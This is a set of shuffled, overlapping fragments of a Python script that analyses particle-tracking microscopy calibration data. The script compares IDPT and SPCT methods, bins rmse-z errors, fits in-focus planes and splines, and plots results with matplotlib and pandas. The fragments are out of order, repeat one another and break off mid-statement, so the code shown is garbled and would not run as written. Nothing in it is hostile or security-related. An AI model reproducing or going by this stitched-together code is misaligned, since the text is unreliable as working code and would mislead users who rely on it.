"df2 = pd.read_excel(join(path_rmse_compare, '{}_binned-rmse-z_bins=20_no-filters.xlsx'.format(lbls[1]))) df3 = pd.read_excel(join(path_rmse_compare, '{}_binned-rmse-z_bins=20_no-filters.xlsx'.format(lbls[2]))) # 1.3 plot binned rmse-z",
"bin, analyze, and plot functions # imports import os from os.path import join",
"= False if correct_test_coords: use_idpt_zf = False use_spct_zf = False # ------------------------------------------------------------------------------------------------------------------ if",
"min_cm=min_cm, z_range=None, round_to_decimal=round_z_to_decimal, df_ground_truth=None, dropna=True, error_column='error', ) dfrmse.to_excel(path_results + '/binned-rmse-z_bins={}_no-filters.xlsx'.format(bins_z)) # 1.3 groupby",
"color=sciblue) ax.plot(df2.bin, df2.rmse_z, '-o', ms=ms, label=lbls[1], color=scired) ax.plot(df1.bin, df1.rmse_z, '-o', ms=ms, label=lbls[0], color=sciorange)",
"dfrmse.to_excel(path_results + '/binned-rmse-z_bins={}_no-filters.xlsx'.format(bins_z)) # 1.3 groupby 'bin' rmse-z mean + std dfrmsem, dfrmsestd",
"dfs_off['z'] - z_f_mean dfs_off['z_true'] = dfs_off['z_true'] - z_f_mean dfs_on['z'] = dfs_on['z'] - z_f_mean",
"ax.legend() plt.tight_layout() if save_plots: plt.savefig(path_figs + '/compare-on-edge-off-bpe_rmse-z_microns.png') if show_plots: plt.show() plt.close() # rmse-z",
"SPCT CALIBRATION IN-FOCUS COORDS # SPCT analysis of images used for IDPT calibration",
"z_fit = np.linspace(dfrmse.z_true.min(), dfrmse.z_true.max()) rmse_fit_line = np.sqrt(np.sum((functions.line(dfrmse.z_true, *popt) - dfrmse.z)**2) / len(dfrmse.z)) print(rmse_fit_line)",
"numpy as np import pandas as pd from scipy.optimize import curve_fit import filter",
"3 # FIGURE 1. PLOT NUMBER OF PARTICLES PER Z_TRUE fig, ax =",
"ax.set_ylabel(r'$S (p_{i}, p_{N})$') ax.set_ylim([0.49, 1.01]) plt.tight_layout() if save_plots: plt.savefig(path_figs + '/average-particle-to-particle-similarity.png') plt.show() plt.close()",
"plot_calib_plane = True plot_test_plane = True kx, ky = 2, 2 # step",
"alpha_clr = 1.0 fig, [axr, ax] = plt.subplots(nrows=2, sharex=True, gridspec_kw={'height_ratios': [1, 2]}) axr.plot(df3.bin,",
"color=lighten_color(scigreen, 1.0), label=r'$SPCT_{Low}$') ax.plot(dfs_onc.z_true, dfs_onc.z, '-o', ms=ms, color=lighten_color(scigreen, 1.2), label=r'$SPCT_{High}$') ax.set_xlabel(r'$z \\: (\\mu",
"'y']] into spct pid defocus stats. if merge_spct_stats: # read SPCT calibration coords",
"the same beginning and ending tick mark on the fine adjustment knob during",
"ax.set_xticks(ticks=xyticks, labels=xyticks) ax.set_ylabel(r'$z \\: (\\mu m)$') ax.set_ylim([-xylim, xylim]) ax.set_yticks(ticks=xyticks, labels=xyticks) ax.legend(loc='lower right', markerscale=2.5)",
"GROUPBY Z_TRUE dftg = dft.copy() dftg = dftg.round({'z_true': 0}) dftc = dftg.groupby('z_true').count().reset_index() dfs_offc",
"'/compare-on-edge-off-bpe_rmse-z_microns.png') if show_plots: plt.show() plt.close() # rmse-z (microns) + c_m darken_clr = 1.0",
"ms = 3 # FIGURE 1. PLOT NUMBER OF PARTICLES PER Z_TRUE fig,",
"save_plots: plt.savefig(path_figs + '/rmse-z_microns.png') if show_plots: plt.show() plt.close() # ----------------------- Z-MEAN +/- Z-STD",
"dfcpid, dfcpop, dfcstats = io.read_calib_coords(path_calib_coords, method) # step 2. remove outliers # 2.1",
"color=sciblue) axr.plot(dfs_offm.z_true, dfs_offm.cm, '-o', ms=ms - 1, color=lighten_color(scigreen, 1.0)) axr.plot(dfs_onm.z_true, dfs_onm.cm, '-o', ms=ms",
"save_plots = False show_plots = False if analyze_test_coords: # read test coords dft",
"label=r'$IDPT$') ax.plot(dfs_offc.z_true, dfs_offc.z, '-o', ms=ms, color=lighten_color(scigreen, 1.0), label=r'$SPCT_{Low}$') ax.plot(dfs_onc.z_true, dfs_onc.z, '-o', ms=ms, color=lighten_color(scigreen,",
") dfrmse.to_excel(path_results + '/{}_binned-rmse-z_bins={}_no-filters.xlsx'.format(lbl, bins_z)) # 1.3 groupby 'bin' rmse-z mean + std",
"popt_c = dictc_fit_plane['popt_pixels'] if plot_calib_plane: fig = plotting.plot_fitted_plane_and_points(df=dfcpid, dict_fit_plane=dictc_fit_plane) plt.savefig(path_figs + '/calibration-coords_fit-plane_raw.png') plt.close()",
"well aligned enough in both calibration image sets to just ignore. This is",
"ignore. This is not necessarily surprising because the calibration images were acquired with",
"dfs_off['z_true'] = dfs_off['z_true'] - z_f_mean dfs_on['z'] = dfs_on['z'] - z_f_mean dfs_on['z_true'] = dfs_on['z_true']",
"round_z_to_decimal = 3 min_cm = 0.5 # 1.1 mean rmse-z dfrmse_mean = bin.bin_local_rmse_z(dft,",
"# 1.3 plot binned rmse-z if save_plots or show_plots: # close all figs",
"use_spct_zf: \"\"\" NOTE: No correction is currently performed. The z-coords are well aligned",
"ax.set_yticks(ticks=xyticks, labels=xyticks) ax.legend(loc='lower right', handletextpad=0.25, borderaxespad=0.3) plt.tight_layout() if save_plots: plt.savefig(path_figs + '/calibration_curve_z+std-errobars_fit_line_a{}_b{}_slope-label-blk.png'.format( np.round(popt[0],",
"join(path_spct_test_coords, 'calib_spct_pid_defocus_stats_c-calib2_t-calib3.xlsx') path_test_spct_stats = join(path_spct_test_coords, 'calib_spct_stats_c-calib2_t-calib3.xlsx') path_test_spct_pop = join(path_spct_test_coords, 'calib_spct_pop_defocus_stats_c-calib2_t-calib3.xlsx') # -------------------------------------------------------------------------------------------------------------- #",
"5. read test_coords dft = io.read_test_coords(path_test_coords) # step 6. drop unnecessary columns in",
"+ '/{}_mean-rmse-z_bin=1_no-filters.xlsx'.format(lbl)) # 1.2 binned rmse-z dfrmse = bin.bin_local_rmse_z(dft, column_to_bin=column_to_bin, bins=bins_z, min_cm=min_cm, z_range=None,",
"marker=markers[2], color=sciblue, label=lbls[2]) ax.plot(df2.bin, df2.rmse_z, '-', ms=ms-0.75, marker=markers[1], color=scired, label=lbls[1]) ax.plot(df1.bin, df1.rmse_z, '-',",
"= join(base_dir, 'results-04.26.22_idpt') path_test_coords = join(path_idpt, 'coords/test-coords') path_calib_coords = join(path_idpt, 'coords/calib-coords') path_similarity =",
"in dft dft = dft[['frame', 'id', 'z', 'z_true', 'x', 'y', 'cm', 'error']] #",
"'/test-coords_fit-spline_kx{}_ky{}.png'.format(kx, ky)) plt.close() # ---------------------------------------------------------------------------------------------------------------------- # 4. PLOT TEST COORDS RMSE-Z analyze_test_coords =",
"label=lbls[2]) ax.plot(df2.bin, df2.rmse_z, '-', ms=ms-0.75, marker=markers[1], color=scired, label=lbls[1]) ax.plot(df1.bin, df1.rmse_z, '-', ms=ms-0.75, marker=markers[0],",
"READ COORDS USED FOR IDPT TEST (i.e. 'calib2') # step 1. merge [['x',",
"FOR EACH DATAFRAME (ON, EDGE, OFF), COMPUTE RMSE-Z AND PLOT for lbl, dft",
"True kx, ky = 2, 2 # step 1. merge [['x', 'y']] into",
"FOR IDPT TEST (i.e. 'calib2') # step 1. merge [['x', 'y']] into spct",
"dfs_off.groupby('z_true').count().reset_index() dfs_onc = dfs_on.groupby('z_true').count().reset_index() # filter z_true for pretty plotting zlim = 35",
"step 1. merge [['x', 'y']] into spct pid defocus stats. if merge_spct_stats: #",
"bins_x[0]] df_edge = dfbx[dfbx['bin'] == bins_x[1]] df_off = dfbx[dfbx['bin'] == bins_x[2]] # ---",
"plt.savefig(path_figs + '/compare-idpt-spct_num-particles.png') if show_plots: plt.show() plt.close() # --- # FIGURE 2. PLOT",
"20 round_z_to_decimal = 3 min_cm = 0.5 # 1.1 mean rmse-z dfrmse_mean =",
"plt.close() # rmse-z (microns) + c_m darken_clr = 1.0 alpha_clr = 1.0 fig,",
"1.2)) axr.set_ylabel(r'$c_{m}$') axr.set_ylim([0.790, 1.01]) axr.set_yticks([0.8, 0.9, 1.0]) ax.plot(dftc.z_true, dftc.z, '-o', ms=ms, color=sciblue, label=r'$IDPT$')",
"as plt # imports import numpy as np import pandas as pd from",
"len(dfrmse.z)) print(rmse_fit_line) # binned calibration curve with std-z errorbars (microns) + fit line",
"' {}'.format(np.round(popt[0], 3))) ax.set_xlabel(r'$z_{true} \\: (\\mu m)$') ax.set_xlim([-xylim, xylim]) ax.set_xticks(ticks=xyticks, labels=xyticks) ax.set_ylabel(r'$z \\:",
"if plot_calib_plane: fig = plotting.plot_fitted_plane_and_points(df=dfcpid, dict_fit_plane=dictc_fit_plane) plt.savefig(path_figs + '/idpt-calib-coords_fit-plane_raw.png') plt.close() dfict_fit_plane = pd.DataFrame.from_dict(dictc_fit_plane,",
"'results-04.28.22_spct-calib2_test3/coords/calib-coords') path_test_pid_defocus = join(path_spct_test_coords, 'calib_spct_pid_defocus_stats_c-calib2_t-calib3.xlsx') path_test_spct_stats = join(path_spct_test_coords, 'calib_spct_stats_c-calib2_t-calib3.xlsx') path_test_spct_pop = join(path_spct_test_coords, 'calib_spct_pop_defocus_stats_c-calib2_t-calib3.xlsx')",
"= $' + ' {}'.format(np.round(popt[0], 3))) ax.set_xlabel(r'$z_{true} \\: (\\mu m)$') ax.set_xlim([-xylim, xylim]) ax.set_xticks(ticks=xyticks,",
"= dfs_on['z_true'] - z_f_mean # --- 3. GROUPBY Z_TRUE dftg = dft.copy() dftg",
"rmse-z: microns fig, ax = plt.subplots() ax.plot(df3.bin, df3.rmse_z, '-o', ms=ms, label=lbls[2], color=sciblue) ax.plot(df2.bin,",
"plt.savefig(path_figs + '/idpt-calib-coords_fit-spline_kx{}_ky{}.png'.format(kx, ky)) plt.close() # step 5. read test_coords dft = io.read_test_coords(path_test_coords)",
"= {}'.format(np.round(rmse_c, 3))) plt.savefig(path_figs + '/calibration-coords_fit-spline_kx{}_ky{}.png'.format(kx, ky)) plt.close() # --- # --- PART",
"DATAFRAME (ON, EDGE, OFF) ss = 1 fig, ax = plt.subplots() ax.scatter(df_off.z_true, df_off.z,",
"fig = plotting.plot_fitted_plane_and_points(df=dfcpid, dict_fit_plane=dictc_fit_plane) plt.savefig(path_figs + '/test-coords_fit-plane_raw.png') plt.close() dfict_fit_plane = pd.DataFrame.from_dict(dictc_fit_plane, orient='index', columns=['value'])",
"'#00B945' scired = '#FF9500' sciorange = '#FF2C00' plt.style.use(['science', 'ieee', 'std-colors']) fig, ax =",
"coords dfcpid = dfcpid[(dfcpid[param_zf] > 34) & (dfcpid[param_zf] < zf_c_mean + zf_c_std /",
"plt.show() plt.close() # --- # FIGURE 2. PLOT NUMBER OF PARTICLES PER Z_TRUE",
"= dft.drop(columns=['z', 'z_true']) dft = dft.rename(columns={'z_corr': 'z', 'z_true_corr': 'z_true'}) # --- rmse_all_particles =",
"+ '/compare-idpt-spct_num-particles.png') if show_plots: plt.show() plt.close() # --- # FIGURE 2. PLOT NUMBER",
"elinewidth=0.5, capsize=1, color=sciblue, label=r'$\\overline{z} \\pm \\sigma$') # ax.plot(z_fit, functions.line(z_fit, *popt), linestyle='--', linewidth=1.5, color='black',",
"borderaxespad=0.3) plt.tight_layout() if save_plots: plt.savefig(path_figs + '/{}_calibration_curve_z+std-errobars_fit_line_a{}_b{}_slope-label-blk.png'.format( lbl, np.round(popt[0], 3), np.round(popt[1], 3)) )",
"512 ** 2 area_microns = (512 * microns_per_pixel) ** 2 i_num_rows = len(dft)",
"plane dictc_fit_plane = correct.fit_in_focus_plane(df=dfcpid, param_zf=param_zf, microns_per_pixel=microns_per_pixel) popt_c = dictc_fit_plane['popt_pixels'] if plot_calib_plane: fig =",
"filter z_true for pretty plotting dftm = dftm[(dftm['z_true'] > -zlim) & (dftm['z_true'] <",
"from scipy.optimize import curve_fit import filter import analyze from correction import correct from",
"[axr, ax] = plt.subplots(nrows=2, sharex=True, gridspec_kw={'height_ratios': [1, 2]}) axr.plot(dftm.z_true, dftm.cm, '-o', ms=ms -",
"dictc_fit_plane = correct.fit_in_focus_plane(df=dfcpid, param_zf=param_zf, microns_per_pixel=microns_per_pixel) popt_c = dictc_fit_plane['popt_pixels'] if plot_calib_plane: fig = plotting.plot_fitted_plane_and_points(df=dfcpid,",
"PART B. READ COORDS USED FOR IDPT TEST (i.e. 'calib2') # step 1.",
"dfs_off['z'] = dfs_off['z'] - z_f_mean dfs_off['z_true'] = dfs_off['z_true'] - z_f_mean dfs_on['z'] = dfs_on['z']",
"CURVE (Z VS. Z_TRUE) FOR EACH DATAFRAME (ON, EDGE, OFF) ss = 1",
"imports import numpy as np import pandas as pd from scipy.optimize import curve_fit",
"dfs_onm = dfs_onm[(dfs_onm['z_true'] > -zlim) & (dfs_onm['z_true'] < zlim)] # plot fig, [axr,",
"'-o', ms=ms - 1, color=lighten_color(scigreen, 1.0)) axr.plot(dfs_onm.z_true, dfs_onm.cm, '-o', ms=ms - 1, color=lighten_color(scigreen,",
"fig.get_size_inches() plt.close(fig) # ---------------------------------------------------------------------------------------------------------------------- # 1. SETUP - BASE DIRECTORY base_dir = '/Users/mackenzie/Desktop/gdpyt-characterization/experiments/11.02.21-BPE_Pressure_Deflection_20X/analyses/'",
"'/calibration-coords_fit-plane_raw.png') plt.close() dfict_fit_plane = pd.DataFrame.from_dict(dictc_fit_plane, orient='index', columns=['value']) dfict_fit_plane.to_excel(path_figs + '/calibration-coords_fit-plane_raw.xlsx') # FIT SMOOTH",
"ax.set_yticks(ticks=xyticks, labels=xyticks) ax.legend(loc='lower right', markerscale=2.5) plt.tight_layout() if save_plots: plt.savefig(path_figs + '/on-edge-off-bpe_calibration_curve.png') if show_plots:",
"show_plots: plt.show() plt.close() # ----------------------- Z-MEAN +/- Z-STD PLOTS # fit line popt,",
"marker=markers[2], color=sciblue, label=lbls[2]) ax.scatter(df_on.z_true, df_on.z, s=ss, marker=markers[0], color=sciorange, label=lbls[0]) ax.scatter(df_edge.z_true, df_edge.z, s=ss, marker=markers[1],",
"dfcpid = pd.read_excel(path_test_pid_defocus) dfcstats = pd.read_excel(path_test_spct_stats) dfcpid = modify.merge_calib_pid_defocus_and_correction_coords(path_calib_coords, method, dfs=[dfcstats, dfcpid]) else:",
"2 area_microns = (512 * microns_per_pixel) ** 2 i_num_rows = len(dft) i_num_pids =",
"= dft[['frame', 'id', 'z', 'z_true', 'x', 'y', 'cm', 'error']] # step 7. create",
"# 1. read binned rmse-z dataframes from Excel path_rmse_compare = join(path_results, 'on-edge-off-bpe') df1",
"z=dfcpid[param_zf], kx=kx, ky=ky) if plot_calib_spline: fig, ax = plotting.scatter_3d_and_spline(dfcpid.x, dfcpid.y, dfcpid[param_zf], bispl_c, cmap='RdBu',",
"image sets (by using the same beginning and ending tick mark on the",
"# step 2. remove outliers # 2.1 get z_in-focus mean + standard deviation",
"# --- STEP 1. CALCULATE RMSE-Z FOR ALL PARTICLES column_to_bin = 'z_true' bins_z",
"- READ FILES method = 'idpt' microns_per_pixel = 0.8 # ----- 4.1 CORRECT",
"enough in both calibration image sets to just ignore. This is not necessarily",
"curve with std-z errorbars (microns) + fit line fig, ax = plt.subplots() ax.errorbar(dfrmsem.z_true,",
"RMSE-Z AND PLOT for lbl, dft in zip(lbls, [df_on, df_edge, df_off]): # ---",
"step 4. FIT SMOOTH 2D SPLINE AND PLOT RAW POINTS + FITTED SURFACE",
"Paler Blue: #0343DF Azure: #069AF3 Dark Green: #054907 \"\"\" sciblue = '#0C5DA5' scigreen",
"< zlim)] dfs_onm = dfs_onm[(dfs_onm['z_true'] > -zlim) & (dfs_onm['z_true'] < zlim)] # plot",
"# SPCT analysis of images used for IDPT test path_spct_test_coords = join(base_dir, 'results-04.28.22_spct-calib2_test3/coords/calib-coords')",
"on SciencePlots colors \"\"\" Blue: #0C5DA5 Green: #00B945 Red: #FF9500 Orange: #FF2C00 Other",
"- 1, color=lighten_color(scigreen, 1.0)) axr.plot(dfs_onm.z_true, dfs_onm.cm, '-o', ms=ms - 1, color=lighten_color(scigreen, 1.2)) axr.set_ylabel(r'$c_{m}$')",
"path_results = join(path_idpt, 'results') path_figs = join(path_idpt, 'figs') # ---------------------------------------------------------------------------------------------------------------------- # ---------------------------------------------------------------------------------------------------------------------- #",
"pid defocus stats. if merge_spct_stats: # read SPCT calibration coords and merge ['x',",
"'calib1') merge_spct_stats = True param_zf = 'zf_from_peak_int' plot_calib_plane = True plot_test_plane = True",
"ax.legend(loc='lower right', handletextpad=0.25, borderaxespad=0.3) plt.tight_layout() if save_plots: plt.savefig(path_figs + '/calibration_curve_z+std-errobars_fit_line_a{}_b{}_slope-label-blk.png'.format( np.round(popt[0], 3), np.round(popt[1],",
"marker=markers[1], color=scired) axr.plot(df1.bin, df1.cm, '-', ms=ms-2, marker=markers[0], color=sciorange) axr.set_ylabel(r'$c_{m}$') ax.plot(df3.bin, df3.rmse_z, '-', ms=ms-0.75,",
"images were acquired with the intention of making the z-coords identical for all",
"zf_c_mean + zf_c_std / 2)] # step 3. fit plane dictc_fit_plane = correct.fit_in_focus_plane(df=dfcpid,",
"'/{}_binned-rmse-z_bins={}_no-filters.xlsx'.format(lbl, bins_z)) # 1.3 groupby 'bin' rmse-z mean + std dfrmsem, dfrmsestd =",
"dictc_fit_plane['popt_pixels'] if plot_test_plane: fig = plotting.plot_fitted_plane_and_points(df=dfcpid, dict_fit_plane=dictc_fit_plane) plt.savefig(path_figs + '/test-coords_fit-plane_raw.png') plt.close() dfict_fit_plane =",
"= plt.subplots() ax.plot(dfsim.z_corr, dfsim.sim, '-o', ms=ms) ax.set_xlabel(r'$z \\: (\\mu m)$') ax.set_xlim([-xylim, xylim]) ax.set_xticks(xyticks)",
"PLOTS # rmse-z: microns fig, ax = plt.subplots() ax.plot(df3.bin, df3.rmse_z, '-o', ms=ms, label=lbls[2],",
"ax = plt.subplots() ax.plot(dfsim.z_corr, dfsim.sim, '-o', ms=ms) ax.set_xlabel(r'$z \\: (\\mu m)$') ax.set_xlim([-xylim, xylim])",
"if show_plots: plt.show() plt.close() # ---------------------------------------------------------------------------------------------------------------------- # 5. IDPT VS. SPCT - COMPARE",
"= False show_plots = False if compare_idpt_spct: # --- 1. IDPT # read",
"plotting # format plots xylim = 37.25 xyticks = [-30, -15, 0, 15,",
"1, color=lighten_color(scigreen, 1.0)) axr.plot(dfs_onm.z_true, dfs_onm.cm, '-o', ms=ms - 1, color=lighten_color(scigreen, 1.2)) axr.set_ylabel(r'$c_{m}$') axr.set_ylim([0.790,",
"correction import correct from utils import fit, functions, bin, io, plotting, modify, plot_collections",
"ax.set_xticks(xyticks) ax.set_ylabel(r'$S (p_{i}, p_{N})$') ax.set_ylim([0.49, 1.01]) plt.tight_layout() if save_plots: plt.savefig(path_figs + '/average-particle-to-particle-similarity.png') plt.show()",
"[1, 2]}) axr.plot(dftm.z_true, dftm.cm, '-o', ms=ms - 1, color=sciblue) axr.plot(dfs_offm.z_true, dfs_offm.cm, '-o', ms=ms",
"or show_plots: ms = 4 # ----------------------- BASIC RMSE-Z PLOTS # rmse-z: microns",
"Orange: #FF2C00 Other Colors: Light Blue: #7BC8F6 Paler Blue: #0343DF Azure: #069AF3 Dark",
"join(base_dir, 'results-04.26.22_idpt') path_test_coords = join(path_idpt, 'coords/test-coords') path_calib_coords = join(path_idpt, 'coords/calib-coords') path_similarity = join(path_idpt,",
"= 20 round_z_to_decimal = 3 min_cm = 0.5 # 1.1 mean rmse-z dfrmse_mean",
"using fitted spline to correct z dft = correct.correct_z_by_spline(dft, bispl=bispl_c, param_z='z') dft['z_true_corr'] =",
"color=lighten_color(scigreen, 1.0)) axr.plot(dfs_onm.z_true, dfs_onm.cm, '-o', ms=ms - 1, color=lighten_color(scigreen, 1.2)) axr.set_ylabel(r'$c_{m}$') axr.set_ylim([0.790, 1.01])",
"30] ms = 3 # read dataframe fp = join(base_dir, 'average-particle-similarity/' 'average_similarity_SPCT_11.02.21-BPE_Pressure_Deflection_20X_c-calib1_t-calib2.xlsx') dfsim",
"coords dfs_off = pd.read_excel('/Users/mackenzie/Desktop/gdpyt-characterization/experiments/11.02.21-BPE_Pressure_Deflection_20X/analyses/results-04.26.22_spct_calib1_test-2-3/coords/test-coords/test_coords_t-calib2_c-calib1.xlsx') dfs_on = pd.read_excel('/Users/mackenzie/Desktop/gdpyt-characterization/experiments/11.02.21-BPE_Pressure_Deflection_20X/analyses/results-04.26.22_spct_stack-id-on-bpe/testcalib2_calcalib1/test_coords_t_20X_ccalib1_tcalib2_c_20X_tcalib2_ccalib1_2022-04-26 20:45:34.334931.xlsx') # 2.2 correct z by",
"'/calibration_curve_z+std-errobars_fit_line_a{}_b{}_slope-label-blk.png'.format( np.round(popt[0], 3), np.round(popt[1], 3)) ) if show_plots: plt.show() plt.close() if rmse_on_off_bpe: #",
"test_coords dft.to_excel(path_results + '/test_coords_corrected_t-calib2_c-calib1.xlsx', index=False) elif use_spct_zf: \"\"\" NOTE: No correction is currently",
"= join(path_idpt, 'similarity') path_results = join(path_idpt, 'results') path_figs = join(path_idpt, 'figs') # ----------------------------------------------------------------------------------------------------------------------",
"join(path_calib_coords, 'calib_spct_pid_defocus_stats_calib2_xy.xlsx') dfcpid = pd.read_excel(path_calib_pid_defocus) # step 2. remove outliers # 2.1 get",
"0, 15, 30] lbls = ['On', 'Border', 'Off'] markers = ['s', 'd', 'o']",
"3))) ax.set_xlabel(r'$z_{true} \\: (\\mu m)$') ax.set_xlim([-xylim, xylim]) ax.set_xticks(ticks=xyticks, labels=xyticks) ax.set_ylabel(r'$z \\: (\\mu m)$')",
"0, 15, 30] ms = 3 # FIGURE 1. PLOT NUMBER OF PARTICLES",
"in-focus particle positions and uses this to set their z_f = 0 position.",
"dfs_on = pd.read_excel('/Users/mackenzie/Desktop/gdpyt-characterization/experiments/11.02.21-BPE_Pressure_Deflection_20X/analyses/results-04.26.22_spct_stack-id-on-bpe/testcalib2_calcalib1/test_coords_t_20X_ccalib1_tcalib2_c_20X_tcalib2_ccalib1_2022-04-26 20:45:34.334931.xlsx') # 2.2 correct z by mean z_f from peak_intensity",
"+ std dfrmsem, dfrmsestd = bin.bin_generic(dft, column_to_bin='bin', column_to_count='id', bins=bins_z, round_to_decimal=round_z_to_decimal, return_groupby=True) # 1.3",
"2. SPCT # 2.1 read SPCT off-bpe test coords dfs_off = pd.read_excel('/Users/mackenzie/Desktop/gdpyt-characterization/experiments/11.02.21-BPE_Pressure_Deflection_20X/analyses/results-04.26.22_spct_calib1_test-2-3/coords/test-coords/test_coords_t-calib2_c-calib1.xlsx') dfs_on",
"rename columns for simplicity dft = dft.drop(columns=['z', 'z_true']) dft = dft.rename(columns={'z_corr': 'z', 'z_true_corr':",
"ss = 1 fig, ax = plt.subplots() ax.scatter(df_off.z_true, df_off.z, s=ss, marker=markers[2], color=sciblue, label=lbls[2])",
"path_similarity = join(path_idpt, 'similarity') path_results = join(path_idpt, 'results') path_figs = join(path_idpt, 'figs') #",
"plotting dftm = dftm[(dftm['z_true'] > -zlim) & (dftm['z_true'] < zlim)] dfs_offm = dfs_offm[(dfs_offm['z_true']",
"DATAFRAME (ON, EDGE, OFF), COMPUTE RMSE-Z AND PLOT for lbl, dft in zip(lbls,",
"zlim)] # --- # --- plotting # format plots xylim = 37.25 xyticks",
"z-coords are well aligned enough in both calibration image sets to just ignore.",
"30] ms = 3 # FIGURE 1. PLOT NUMBER OF PARTICLES PER Z_TRUE",
"step 6. drop unnecessary columns in dft dft = dft[['frame', 'id', 'z', 'z_true',",
"SPLINE AND PLOT RAW POINTS + FITTED SURFACE (NO CORRECTION) bispl_c, rmse_c =",
"dfrmse.z) z_fit = np.linspace(dfrmse.z_true.min(), dfrmse.z_true.max()) rmse_fit_line = np.sqrt(np.sum((functions.line(dfrmse.z_true, *popt) - dfrmse.z)**2) / len(dfrmse.z))",
"ax = plt.subplots() ax.plot(df3.bin, df3.rmse_z, '-o', ms=ms, label=lbls[2], color=sciblue) ax.plot(df2.bin, df2.rmse_z, '-o', ms=ms,",
"join(path_calib_coords, 'calib_spct_pid_defocus_stats_calib1_xy.xlsx') dfcpid = pd.read_excel(path_calib_pid_defocus) # step 2. remove outliers # 2.1 get",
"correct_test_coords: use_idpt_zf = False use_spct_zf = False # ------------------------------------------------------------------------------------------------------------------ if use_idpt_zf: \"\"\" NOTE:",
"- z_f_mean dfs_on['z_true'] = dfs_on['z_true'] - z_f_mean # --- 3. GROUPBY Z_TRUE dftg",
"= dfs_onc[(dfs_onc['z_true'] > -zlim) & (dfs_onc['z_true'] < zlim)] # --- # --- plotting",
"FIGURE 2. PLOT NUMBER OF PARTICLES PER Z_TRUE AND CM dftm = dftg.groupby('z_true').mean().reset_index()",
"import correct from utils import fit, functions, bin, io, plotting, modify, plot_collections from",
"2)] # step 3. fit plane dictc_fit_plane = correct.fit_in_focus_plane(df=dfcpid, param_zf=param_zf, microns_per_pixel=microns_per_pixel) popt_c =",
"Z_TRUE dftg = dft.copy() dftg = dftg.round({'z_true': 0}) dftc = dftg.groupby('z_true').count().reset_index() dfs_offc =",
"CM dftm = dftg.groupby('z_true').mean().reset_index() dfs_offm = dfs_off.groupby('z_true').mean().reset_index() dfs_onm = dfs_on.groupby('z_true').mean().reset_index() # filter z_true",
"plot functions # imports import os from os.path import join from os import",
"std-z errorbars (microns) + fit line fig, ax = plt.subplots() ax.errorbar(dfrmsem.z_true, dfrmsem.z, yerr=dfrmsestd.z,",
"175, 205] round_x_to_decimal = 0 dfbx = bin.bin_by_list(dft, column_to_bin=column_to_bin, bins=bins_x, round_to_decimal=round_x_to_decimal, ) df_on",
"save_plots: plt.savefig(path_figs + '/compare-idpt-spct_num-particles.png') if show_plots: plt.show() plt.close() # --- # FIGURE 2.",
"0. drop and rename columns for simplicity dft = dft.drop(columns=['z', 'z_true']) dft =",
"bin.bin_local_rmse_z(dft, column_to_bin=column_to_bin, bins=1, min_cm=min_cm, z_range=None, round_to_decimal=round_z_to_decimal, df_ground_truth=None, dropna=True, error_column='error', ) dfrmse_mean.to_excel(path_results + '/mean-rmse-z_bin=1_no-filters.xlsx')",
"= dftg.round({'z_true': 0}) dftc = dftg.groupby('z_true').count().reset_index() dfs_offc = dfs_off.groupby('z_true').count().reset_index() dfs_onc = dfs_on.groupby('z_true').count().reset_index() #",
"IDPT TEST (i.e. 'calib2') # step 1. merge [['x', 'y']] into spct pid",
"2. remove outliers # 2.1 get z_in-focus mean + standard deviation zf_c_mean =",
"Blue: #7BC8F6 Paler Blue: #0343DF Azure: #069AF3 Dark Green: #054907 \"\"\" sciblue =",
"SciencePlots colors \"\"\" Blue: #0C5DA5 Green: #00B945 Red: #FF9500 Orange: #FF2C00 Other Colors:",
"both calibration image sets to just ignore. This is not necessarily surprising because",
"xylim]) ax.set_xticks(ticks=xyticks, labels=xyticks) ax.set_ylabel(r'$\\sigma_{z} \\: (\\mu m)$') plt.tight_layout() if save_plots: plt.savefig(path_figs + '/{}_rmse-z_microns.png'.format(lbl))",
"path_calib_pid_defocus = join(path_spct_calib_coords, 'calib_spct_pid_defocus_stats_c-calib1_t-calib2.xlsx') path_calib_spct_stats = join(path_spct_calib_coords, 'calib_spct_stats_c-calib1_t-calib2.xlsx') path_calib_spct_pop = join(path_spct_calib_coords, 'calib_spct_pop_defocus_stats_c-calib1_t-calib2.xlsx') #",
"-zlim) & (dftm['z_true'] < zlim)] dfs_offm = dfs_offm[(dfs_offm['z_true'] > -zlim) & (dfs_offm['z_true'] <",
"error_column='error', ) dfrmse.to_excel(path_results + '/binned-rmse-z_bins={}_no-filters.xlsx'.format(bins_z)) # 1.3 groupby 'bin' rmse-z mean + std",
"save_plots: plt.savefig(path_figs + '/compare-on-edge-off-bpe_rmse-z_microns.png') if show_plots: plt.show() plt.close() # rmse-z (microns) + c_m",
"a z_corr column by using fitted spline to correct z dft = correct.correct_z_by_spline(dft,",
"param_zf=param_zf, microns_per_pixel=microns_per_pixel) popt_c = dictc_fit_plane['popt_pixels'] if plot_test_plane: fig = plotting.plot_fitted_plane_and_points(df=dfcpid, dict_fit_plane=dictc_fit_plane) plt.savefig(path_figs +",
"(\\mu m)$') ax.set_xlim([-xylim, xylim]) ax.set_xticks(xyticks) ax.set_ylabel(r'$N_{p} \\: (\\#)$') ax.set_ylim([0, 185]) ax.set_yticks([0, 50, 100,",
"calibration image sets to just ignore. This is not necessarily surprising because the",
"OFF BPE and (2) OFF BPE. column_to_bin = 'x' bins_x = [145, 175,",
"# step 3. fit plane dictc_fit_plane = correct.fit_in_focus_plane(df=dfcpid, param_zf=param_zf, microns_per_pixel=microns_per_pixel) popt_c = dictc_fit_plane['popt_pixels']",
"std dfrmsem, dfrmsestd = bin.bin_generic(dft, column_to_bin='bin', column_to_count='id', bins=bins_z, round_to_decimal=round_z_to_decimal, return_groupby=True) # 1.3 plot",
"plot_test_plane: fig = plotting.plot_fitted_plane_and_points(df=dfcpid, dict_fit_plane=dictc_fit_plane) plt.savefig(path_figs + '/test-coords_fit-plane_raw.png') plt.close() dfict_fit_plane = pd.DataFrame.from_dict(dictc_fit_plane, orient='index',",
"image sets to just ignore. This is not necessarily surprising because the calibration",
"dfcpid.y, dfcpid[param_zf], bispl_c, cmap='RdBu', grid_resolution=30, view='multi') ax.set_xlabel('x (pixels)') ax.set_ylabel('y (pixels)') ax.set_zlabel(r'$z_{f} \\: (\\mu",
"0.9, 1.0]) ax.plot(dftc.z_true, dftc.z, '-o', ms=ms, color=sciblue, label=r'$IDPT$') ax.plot(dfs_offc.z_true, dfs_offc.z, '-o', ms=ms, color=lighten_color(scigreen,",
